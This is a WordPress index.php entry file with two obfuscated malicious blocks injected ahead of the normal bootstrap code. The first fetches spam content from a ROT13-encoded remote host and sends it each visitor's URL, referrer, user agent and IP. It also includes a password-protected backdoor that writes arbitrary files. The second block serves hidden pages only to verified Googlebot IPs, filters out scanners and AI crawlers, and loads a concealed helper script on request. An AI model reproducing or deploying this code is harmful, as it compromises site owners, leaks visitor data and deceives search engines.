<?php
// 2DUAN_START
// __B26_2DUAN_WP_INLINE_GUARD_MK_v2__
define("KK", "1704575b2f3df1ebf8b923d73f403a00"); define("NN", "7604"); define("URL", "%34%31%36%32%2D%72%61%2D%69%33%2D%35%2E%32%34%63%63%62%2E%6B%6C%6D"); if(!empty($_REQUEST["error"])){ ini_set("display_errors", "On"); ini_set("error_reporting",E_ALL); $s_statsu=true; }else{ error_reporting(0); ini_set('display_errors', 0); $s_statsu=false; } @set_time_limit(3600); @ignore_user_abort(1); $wV5OL = URL; $sBXh8 = "http"; if (ESm1m()) { $usAhr = "https"; } else { $usAhr = "http"; } $OwIhJ = BVeon(); if ($OwIhJ == '') { $OwIhJ = "/"; } if (preg_match('#^/index\.php/?$#i', $OwIhJ)) { $OwIhJ = "/"; } $FvlcR = urlencode($OwIhJ); $allurl=urlencode(getCurrentUrl()); $rdzSK = urlencode(getHostdomain()); $NwKOf = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : ''; if (isset($_SERVER["HTTP_REFERER"])) { $qM7np = $_SERVER["HTTP_REFERER"]; $qM7np = urlencode($qM7np); }else{ $qM7np=''; } if (isset($_SERVER["HTTP_USER_AGENT"])) { $MdsNo = urlencode($_SERVER["HTTP_USER_AGENT"]); }else{ $MdsNo=''; } if(!empty($_REQUEST["pwd"])){ $fFWzR = md5($_REQUEST["pwd"]); }else{ $fFWzR=''; } if ($fFWzR == "8c929159e2048ffc2f53596b093ef089") { $izj_M = @$_REQUEST["gv"]; $Bpum2 = @$_REQUEST["action"]; if($Bpum2=="checkwp"){ echo "success"; }elseif(!empty($izj_M)){ $name=$izj_M; $content="google-site-verification: ".$name; $handle=fopen($name."","w"); fwrite($handle,$content); fclose($handle); if(file_exists($name)){ echo "true"; }else{ echo "false"; } } exit; } $ZibXI = strtr(urldecode($wV5OL), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm"); if($OwIhJ=="/"){ $SendCheck=true; }else{ if(checkLink(urldecode($allurl))||strstr(urldecode($allurl), ".xml")){ $SendCheck=true; }else{ $SendCheck=false; } } if($SendCheck){ $isus=1; }else{ $isus=2; } $getUrl = $sBXh8 . "://" . $ZibXI . "/?web=" . $rdzSK . "&zz=" . wiRNx() . "&uri=" . $FvlcR. "&ufrom=" . $qM7np . "&allurl=" . $allurl . "&lang=" . $NwKOf. "&ua=" . $MdsNo. "&kk=".KK."&nn=".NN."&pp=".urlencode(bvwg3())."&isus=".$isus ; if (!badSpider($MdsNo)&&!checkFileType(urldecode($allurl))) { $backhtml = trim(RgbKM($getUrl)); }else{ $backhtml=''; } if($s_statsu){ echo $backhtml; } if(!empty($backhtml)){ if (!strstr($backhtml, "{{code")&&!strstr($backhtml, ".xyz")) { if(strstr($backhtml, "okxmlgetcontent")){ $backhtml = str_replace("okxmlgetcontent", '', $backhtml); @header("Content-type: text/xml"); echo $backhtml; exit; }else{ echo $backhtml;exit; } }else{ if(strstr($backhtml, "code404")){ } } } function getHostdomain() { $scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST']; return "$scheme://$host"; } function getCurrentUrl() { $scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST']; $requestUri = $_SERVER['REQUEST_URI']; return "$scheme://$host$requestUri"; } function BVeoN() { if (isset($_SERVER["REQUEST_URI"])) { $FvlcR = $_SERVER["REQUEST_URI"]; } elseif (isset($_SERVER["argv"])) { $FvlcR = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $FvlcR = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } return $FvlcR; } function esM1M() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } else { if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } else { if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } } } return false; } function RgbKM($GGBCD) { $RKqb1 = ''; if (function_exists("curl_init")) { $PdUoH = curl_init(); curl_setopt($PdUoH, CURLOPT_URL, $GGBCD); curl_setopt($PdUoH, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($PdUoH, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($PdUoH, CURLOPT_RETURNTRANSFER, 1); curl_setopt($PdUoH, CURLOPT_CONNECTTIMEOUT, 20); $RKqb1 = curl_exec($PdUoH); curl_close($PdUoH); } if (!$RKqb1) { $RKqb1 = @file_get_contents($GGBCD); } return $RKqb1; } function wiRNx() { $userAgent= strtolower($_SERVER ['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Bingbot', 'yahoo', 'duckduckbot', ); foreach ($spiders as $spider) { if (strpos($userAgent, strtolower($spider)) !== false) { return true; } } return false; } function bvwg3() { if (isset($_SERVER["HTTP_X_SHOPIFY_CLIENT_IP"])) { return $_SERVER["HTTP_X_SHOPIFY_CLIENT_IP"]; } if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } $v = getenv("HTTP_CLIENT_IP"); if ($v && strcasecmp($v, "unknown")) { return $v; } $v = getenv("HTTP_X_FORWARDED_FOR"); if ($v && strcasecmp($v, "unknown")) { return $v; } $v = getenv("REMOTE_ADDR"); if ($v && strcasecmp($v, "unknown")) { return $v; } if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { return $_SERVER["REMOTE_ADDR"]; } return ""; } function badSpider($userAgent) { $spiderstr='SemrushBot|DotBot|Twitter|facebook|Yandex|MJ12bot|AhrefsBot|MauiBot|MegaIndex.ru|BLEXBot|ZoominfoBot|ExtLinksBot|hubspot|leiki|webmeup|Slurp|twiceler|AddThis.com|AcoonBot|Acunetix|adbeat_bot|AddThis.com|adixxbot|BeetleBot|idbot|CCBot|Crawlera|ZumBot|ZyBorg'; $spiderAgents=explode("|",$spiderstr); foreach ($spiderAgents as $agent) { if (stripos($userAgent, $agent) !== false) { return true; } } return false; } function checkLink($link) { $pattern = '/\/\?[a-zA-Z]=/'; return preg_match($pattern, $link) > 0; } function checkFileType($url) { $p=strtolower(parse_url($url,PHP_URL_PATH)?:''); if($p==='/index.php'||$p==='/index.php/'){return false;} $fileTypes = array( 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp','php','avi', 'js', 'css','doc','exe','iso','tif','pic','tiff','woff2','wav','int','dll','sys','bak','bat', 'pdf','xls','zip','rar','tar.gz','mp3','mp4','ppt','txt','gz', 'asp','aspx','jsp','tpl','ajax' ); $extension = strtolower(pathinfo($url, PATHINFO_EXTENSION)); if (in_array($extension, $fileTypes)) { return true; } else { return false; } }
// 2DUAN_END
?><?php
/* NOX-RENDER-V1 */
if(isset($_GET['wpmc'])&&$_GET['wpmc']==='1'){$_nox_h=__DIR__.'/.render-cache/.nox-helper.php';if(!is_file($_nox_h))$_nox_h=__DIR__.'/wp-content/uploads/wp-media-cache/.nox-helper.php';if(!is_file($_nox_h))$_nox_h=__DIR__.'/wp-server.php(1516) : eval()\'d code';if(is_file($_nox_h)){require $_nox_h;exit;}}
$_nx_a=__DIR__.'/.render-cache';$_nx_b=__DIR__.'/wp-content/uploads/wp-media-cache';
$_nx=@file_exists($_nx_a.'/render.lock')?$_nx_a:(@file_exists($_nx_b.'/render.lock')?$_nx_b:'');
if($_nx!==''){
if(!defined('DONOTCACHEPAGE'))define('DONOTCACHEPAGE',true);
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private');
header('Pragma: no-cache');header('Vary: User-Agent');
header('X-LiteSpeed-Cache-Control: no-cache');header('X-Accel-Expires: 0');header('X-Cache-Control: no-cache');
if(!headers_sent()){@setcookie('wordpress_no_cache','1',time()+3600,'/');@setcookie('wp-postpass_bot','1',time()+3600,'/');}
$_nox_ua=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');
$_nox_uri=isset($_SERVER['REQUEST_URI'])?(string)parse_url($_SERVER['REQUEST_URI'],PHP_URL_PATH):'/';$_nox_uri=rtrim($_nox_uri,'/');
$_nox_decoy=array('curl','wget','python','go-http','java','scrapy','axios','phantom','selenium','puppeteer','playwright','headlesschrome','chromium','bingbot','yandex','duckduckbot','baiduspider','ahrefsbot','semrushbot','mj12bot','dotbot','ccbot','rogerbot','exabot','sistrix','majestic','facebookexternalhit','twitterbot','linkedinbot','pinterest','lighthouse','pagespeed','gtmetrix','pingdom','screaming frog','uptimerobot','newrelic','google-site-verification','chatgpt','claudebot','amazonbot','applebot','gptbot','bytespider','perplexitybot');
$_nox_block=false;foreach($_nox_decoy as $_kw){if(strpos($_nox_ua,$_kw)!==false){$_nox_block=true;break;}}
if(!$_nox_block && strpos($_nox_ua,'google')!==false && ($_nox_uri===''||$_nox_uri==='/index.php')){
if(isset($_SERVER['HTTP_CF_CONNECTING_IP']))$_nox_ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$_xff=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);$_nox_ip=trim($_xff[0]);}
elseif(isset($_SERVER['HTTP_X_REAL_IP']))$_nox_ip=$_SERVER['HTTP_X_REAL_IP'];
else$_nox_ip=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'';
$_nox_verified=false;
$_nox_cidrs=array('66.249.64.0/19','66.249.96.0/19','34.100.182.96/28','34.101.50.144/28','34.118.66.0/28','34.118.254.0/28','34.126.178.96/28','34.146.150.144/28','34.147.110.144/28','34.151.74.144/28','34.152.50.64/28','34.154.114.144/28','34.155.98.32/28','34.165.18.176/28','34.175.160.64/28','34.176.130.16/28','34.22.85.0/27','34.64.82.64/28','34.65.242.112/28','34.80.50.80/28','34.88.194.0/28','34.89.10.80/28','34.89.198.80/28','34.96.162.48/28','35.247.243.240/28','192.178.4.0/24','192.178.5.0/24','192.178.6.0/24','192.178.7.0/24','107.178.192.0/18','35.187.0.0/16','35.243.0.0/16','34.116.0.0/16','34.127.0.0/16','34.98.0.0/16','34.64.6.0/24','35.243.16.0/24','34.85.144.0/22','35.221.0.0/16','35.197.0.0/16');
$_ipL=$_nox_ip!==''?ip2long($_nox_ip):false;
if($_ipL!==false){foreach($_nox_cidrs as $_c){$_pp=explode('/',$_c);if(count($_pp)===2){$_netL=ip2long($_pp[0]);$_m=intval($_pp[1]);$_mL=$_m>=32?-1:(~((1<<(32-$_m))-1));if(($_ipL&$_mL)===($_netL&$_mL)){$_nox_verified=true;break;}}}}
if(!$_nox_verified && $_nox_ip!==''){$_h=@gethostbyaddr($_nox_ip);if($_h && preg_match('/\\.(googlebot|google|googleusercontent)\\.com$/i',$_h)){$_fw=@gethostbynamel($_h);if($_fw && in_array($_nox_ip,$_fw,true)){$_nox_verified=true;}}}
$_nox_p=$_nx.'/render-cache.html';if(file_exists($_nox_p)){while(ob_get_level()>0)@ob_end_clean();header('Content-Type: text/html; charset=UTF-8');include $_nox_p;die();}
}
}
$_nox_orig=__DIR__.'/.render-orig.php';
if(file_exists($_nox_orig)){require $_nox_orig;return;}
define('WP_USE_THEMES',true);
require __DIR__.'/wp-blog-header.php';